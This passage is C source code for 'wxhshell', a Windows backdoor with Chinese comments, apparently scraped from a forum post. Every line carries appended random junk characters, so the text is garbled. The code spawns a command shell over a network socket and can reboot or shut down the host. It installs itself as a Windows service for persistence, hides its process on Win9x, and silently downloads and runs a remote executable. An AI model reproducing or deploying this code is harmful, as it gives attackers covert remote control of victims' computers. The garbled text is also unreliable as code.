  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7b R[.|T  
  } W>[TFdH?  
  else { s2#}@b6'.  
<co:z<^lqu  
    switch(cmd[0]) { *QoQ$alHH  
  ~Yre(8+M  
  // 帮助 \3x+Z!  
  case '?': { cxIAI=JK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $6d5W=u$H  
    break; K)eyFc  
  } .AF\[IQ  
  // 安装 k~JTQh*,w  
  case 'i': { .8wF> 8  
    if(Install()) On,z# A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QO4eDSW  
    else NkAu<> G _  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LfvRH?<W  
    break; `U>]*D68  
    } -8S Z}J  
  // 卸载 hKe ms3  
  case 'r': { NQN?CBFQ  
    if(Uninstall()) r6nWrO>y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f2ck=3  
    else m-Se-aF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bc2S?u{  
    break; ) gxN' z  
    } IYhn*  
  // 显示 wxhshell 所在路径 ^[q/w<_j~  
  case 'p': { 1W7ClT_cQ  
    char svExeFile[MAX_PATH]; _V3}F1?W  
    strcpy(svExeFile,"\n\r"); [6nN]U~Y  
      strcat(svExeFile,ExeFile); \WZSY||C|_  
        send(wsh,svExeFile,strlen(svExeFile),0); &B$%|~Y5  
    break; M2A_T.F=H  
    } sDkO!P  
  // 重启 TR:4$92:H  
  case 'b': { WKq{g+a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i,l$1g-i  
    if(Boot(REBOOT)) Z{_YH7_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (?P\;yDG  
    else { z/pxZ B ~"  
    closesocket(wsh); 0 R>!jw  
    ExitThread(0); jori,"s  
    } +Ecn  
    break; qh6Q#s>tH  
    } O/oLQoH  
  // 关机 161IWos  
  case 'd': {  |  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q%0 N\  
    if(Boot(SHUTDOWN)) M[0NB2`Wp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B06W(y,3Q>  
    else { ,F=FM>o  
    closesocket(wsh); 9ol&p>  
    ExitThread(0); RZ?abE8  
    } 6vg` 8  
    break; N\fj[?f[  
    } 1CS\1[E  
  // 获取shell @$;I%  
  case 's': { xqv&^,ic  
    CmdShell(wsh); j!IkU}*c  
    closesocket(wsh); SjvSnb_3  
    ExitThread(0); -CTLQyj)  
    break; 4?c0rC<  
  } 8,)<,g-/=  
  // 退出 >|1-o;UU  
  case 'x': { Yd<9Y\W%?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h~ehZJys  
    CloseIt(wsh); -.5R.~@  
    break; <}}u'5;^?x  
    } [*r=u[67F  
  // 离开 z7&m,:M  
  case 'q': { B3E}fQm )  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zOYG`:/'  
    closesocket(wsh); $ou/ Fn  
    WSACleanup(); e1ExB#  
    exit(1); $NBQv6#:  
    break; ~pwk[Q!  
        } QvlV jDIy  
  } yL23 Nqe  
  } j/1 f|x  
Z5@E|O&  
  // 提示信息 mJsU7bD`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 12l1u[TlS  
} !HF<fn  
  } @u:q#b  
&pH XSU  
  return;  8(}cbW  
} b.cBg.a  
5 axt\  
// shell模块句柄 ]<u%jTQREd  
int CmdShell(SOCKET sock) C-&s$5MzGb  
{ \cHF V  
STARTUPINFO si; _:KeSskuO  
ZeroMemory(&si,sizeof(si)); D&D-E~b^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -=qHwcId  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O:#/To'  
PROCESS_INFORMATION ProcessInfo; Z OqD.=O(  
char cmdline[]="cmd"; %Lp#2?*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); % "^CrG  
  return 0; O{EbL5p  
} /{-J_+u*%  
-`PLewvX  
// 自身启动模式 MTn}]blH  
int StartFromService(void) C-H6l6,  
{ BuOe'$F 0t  
typedef struct ;7(vqm<V2~  
{ w NMA)S  
  DWORD ExitStatus; vg5fMH9ZZ  
  DWORD PebBaseAddress; e4;h*IQK  
  DWORD AffinityMask; ;ao <{i?  
  DWORD BasePriority; \OkJX_7  
  ULONG UniqueProcessId; ,8stEp9~h]  
  ULONG InheritedFromUniqueProcessId; -9R.mG  
}   PROCESS_BASIC_INFORMATION; e+y%M  
5IbCE.>iU  
PROCNTQSIP NtQueryInformationProcess; wif1|!aL  
5.lg*vh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -5@hU8B'a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1|$J>  
 y)3OQ24  
  HANDLE             hProcess; xo{z4W  
  PROCESS_BASIC_INFORMATION pbi; 0RN7hpf&`  
fBKN?]BdN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (Vt5@25JW  
  if(NULL == hInst ) return 0; %:7/ym[  
! )(To  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h3Nbgxa.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); od*#)   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >P-'C^:V=  
)ZpMB  
  if (!NtQueryInformationProcess) return 0; uC2qP)m,^  
z\Z+>A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2c3/iYCKP  
  if(!hProcess) return 0; WmE4TL^8?  
|oR#j `  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vhN6_XD  
.GvZv>  
  CloseHandle(hProcess); {T3wOi  
X @X`,/{X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iN2591S  
if(hProcess==NULL) return 0; ucUu hS5  
#_zj5B38E  
HMODULE hMod; jIWX6  
char procName[255]; T;3B_ lu]  
unsigned long cbNeeded; +B4i,]lCx  
R[H#a v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \M~uNWv|  
B XO,  
  CloseHandle(hProcess); |lh&l<=(f  
ULxgvq  
if(strstr(procName,"services")) return 1; // 以服务启动 l;h5Y<A%?  
ngzQVaB9  
  return 0; // 注册表启动 dDl_Pyg4K  
} @`HW0Y_:  
aQV?}  
// 主模块 KD'}9{F,  
int StartWxhshell(LPSTR lpCmdLine) ^vTp.7o~5  
{ .xtam 8@  
  SOCKET wsl; 4!Lj\.!$  
BOOL val=TRUE; * K0aR!  
  int port=0; f_IsY+@  
  struct sockaddr_in door; -90X^]  
%/RT}CBBsW  
  if(wscfg.ws_autoins) Install(); c\rP"y|S};  
Q1x=@lXR  
port=atoi(lpCmdLine); 3&B- w  
+ ,rl\|J%  
if(port<=0) port=wscfg.ws_port; ,+FiP{`  
+aOX{1w  
  WSADATA data; 3*oZol/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "}:SXAZ5`  
:PB W=W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J$,bsMIX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]MB6++.e  
  door.sin_family = AF_INET; J n'SGR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }q:4Zh'l!  
  door.sin_port = htons(port); (1%A@ 4  
H~W=#Cx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GsIqUM#R  
closesocket(wsl); JY$;m3h  
return 1; yRt7&,}zL  
} MkM`)g 5  
O66b^*=N}x  
  if(listen(wsl,2) == INVALID_SOCKET) { n^/)T3mz{  
closesocket(wsl); !~Kg_*IT  
return 1; m|PJwd6  
} =an 0PN  
  Wxhshell(wsl); c>wn e\(5H  
  WSACleanup(); v R ! y#  
4C9k0]k2  
return 0; 6e"Lod_ L  
,m5tO  
} MK <\:g  
P5v;o9B&  
// 以NT服务方式启动 LVJn2t^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VhU,("&pm  
{ c+:^0&l  
DWORD   status = 0; LmPpt3[  
  DWORD   specificError = 0xfffffff; )&ucX  
H_w?+Rig  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZN!<!"~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; , jCE hb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kk}_AZ0eK  
  serviceStatus.dwWin32ExitCode     = 0; A1B%<$|pz  
  serviceStatus.dwServiceSpecificExitCode = 0; E|_}?>{R  
  serviceStatus.dwCheckPoint       = 0; ]qiX"<s>~C  
  serviceStatus.dwWaitHint       = 0; F:LrQu  
[$Jsel<T=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0m4'm<2m  
  if (hServiceStatusHandle==0) return; <A&Zl&^1  
>*$Xbj*  
status = GetLastError(); wM! dz&  
  if (status!=NO_ERROR) NBA`@K~4  
{ -a7BVEFts  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d5n>2iO  
    serviceStatus.dwCheckPoint       = 0; lF\2a&YRbn  
    serviceStatus.dwWaitHint       = 0; /b410NP5  
    serviceStatus.dwWin32ExitCode     = status; 1+qP7 3a^  
    serviceStatus.dwServiceSpecificExitCode = specificError; &@'+h* b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @GF3g=  
    return; a?*pO`<J{  
  } *C.Kdf3w  
>C`#4e?}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Fm+V_.H/;  
  serviceStatus.dwCheckPoint       = 0; jwheJ G  
  serviceStatus.dwWaitHint       = 0; }l_8~/9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n'!x"O7  
}  Au*1-  
c~!ETwpHQ  
// 处理NT服务事件,比如:启动、停止 V9wL3*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %{0F.  
{ 'Qg.D88  
switch(fdwControl) & 5QvUn  
{ dEam|  
case SERVICE_CONTROL_STOP: %I@ vMs^  
  serviceStatus.dwWin32ExitCode = 0; P|TM4i]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /`j2%8^N  
  serviceStatus.dwCheckPoint   = 0; g-cg3Vso  
  serviceStatus.dwWaitHint     = 0; K+Pa b ?  
  { T NF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ZBz]rh*  
  } \xmDkWzE  
  return; _AH_<Z(  
case SERVICE_CONTROL_PAUSE: <|hrmwk|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R0-Y2v  
  break; SME]C') 7  
case SERVICE_CONTROL_CONTINUE: c,#Nd@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @[ {5{ y  
  break; rVp^s/A^;  
case SERVICE_CONTROL_INTERROGATE: @?& i   
  break; (t,mtdD#1  
}; f,ql8q(|J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nI8zT0o  
} 1D%E})B6  
8tzL.P^  
// 标准应用程序主函数 {a(<E8-^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kB=5=#s  
{ %Lq}5zB  
ypx`!2Q$  
// 获取操作系统版本 A>\3FeU>UC  
OsIsNt=GetOsVer(); (R(NEN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NWj4U3x  
!p_l(@f  
  // 从命令行安装 }sp?@C,Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); AnpO?+\HF  
,_K:DSiB  
  // 下载执行文件 Uh'W d_?  
if(wscfg.ws_downexe) { >2NsBS(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Fzz9BEw(i  
  WinExec(wscfg.ws_filenam,SW_HIDE); & d* bQv$  
} UU ' 9  
Y]i:$X]C?X  
if(!OsIsNt) { W9{y1,G9  
// 如果时win9x,隐藏进程并且设置为注册表启动 m<!CF3g  
HideProc(); #hXuGBZEI  
StartWxhshell(lpCmdLine); /9| 2uw`  
} _S CY e  
else #;UoZJ B  
  if(StartFromService()) WN o+%  
  // 以服务方式启动 R S] N%`]  
  StartServiceCtrlDispatcher(DispatchTable); kD6Iz$tr  
else 4v2JrC;  
  // 普通方式启动 5Hs !s+  
  StartWxhshell(lpCmdLine); 1;vwreJ  
?i}wm`  
return 0; *=77|Dba  
}
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只看该作者 1 发表于: 2006-10-10
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